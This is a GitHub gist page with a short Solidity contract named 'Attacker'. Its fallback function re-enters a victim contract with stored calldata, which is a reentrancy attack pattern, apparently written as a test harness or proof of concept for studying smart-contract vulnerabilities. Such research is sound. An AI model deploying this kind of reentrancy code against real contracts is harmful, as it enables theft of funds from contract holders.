Skip to content

Instantly share code, notes, and snippets.

@duytai
Created December 3, 2018 07:43
Show Gist options
  • Save duytai/aa1ce706ac4b0b78d4e8dd7acbe124ea to your computer and use it in GitHub Desktop.
Save duytai/aa1ce706ac4b0b78d4e8dd7acbe124ea to your computer and use it in GitHub Desktop.
pragma solidity ^0.4.2;
contract Attacker {
bytes data = "";
uint count = 0;
address victim = 0xf1;
function() payable {
count ++;
if (count < 2) {
address(victim).call(data);
}
count = 0;
data = "";
revert();
}
function set(bytes _data) {
data = _data;
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment